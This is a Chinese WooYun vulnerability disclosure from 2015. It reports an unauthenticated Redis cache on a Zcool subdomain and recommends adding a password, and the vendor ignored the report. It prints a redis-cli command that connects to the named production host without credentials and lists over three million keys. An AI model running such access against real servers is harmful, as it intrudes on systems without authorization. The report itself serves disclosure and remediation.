当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149132

漏洞标题：站酷网某站服务配置不当未授权访问

相关厂商：站酷网

漏洞作者： Ader_duo

提交时间：2015-10-25 23:23

修复时间：2015-10-30 23:24

公开时间：2015-10-30 23:24

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-25： 细节已通知厂商并且等待厂商处理中
2015-10-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

站酷网某站服务配置不当未授权访问， 大量缓存数据可被恶意篡改

详细说明：

[l9h8@localhost redis-3.0.5]$ src/redis-cli -h jobs.zcool.com.cn
jobs.zcool.com.cn:6379> keys *
      1) "zcool_idea_2.0_1509886"
      2) "zcool_idea_2.0_1509887"
      3) "zcool_idea_2.0_1509888"
      4) "zcool_idea_2.0_1509889"
      5) "REMINDERZCOOL407300"
      6) "REMINDERZCOOL407301"
      7) "REMINDERZCOOL407302"
    。。。。。。。。。
3359869) "zcool_idea_2.0_1509881"
3359870) "zcool_idea_2.0_1509882"
3359871) "zcool_idea_2.0_1509883"
3359872) "zcool_idea_2.0_1509884"
(72.98s)

漏洞证明：

屏幕快照 2015-10-24 下午1.59.49.png

修复方案：

redis加密码

版权声明：转载请注明来源 Ader_duo@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-30 23:24

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无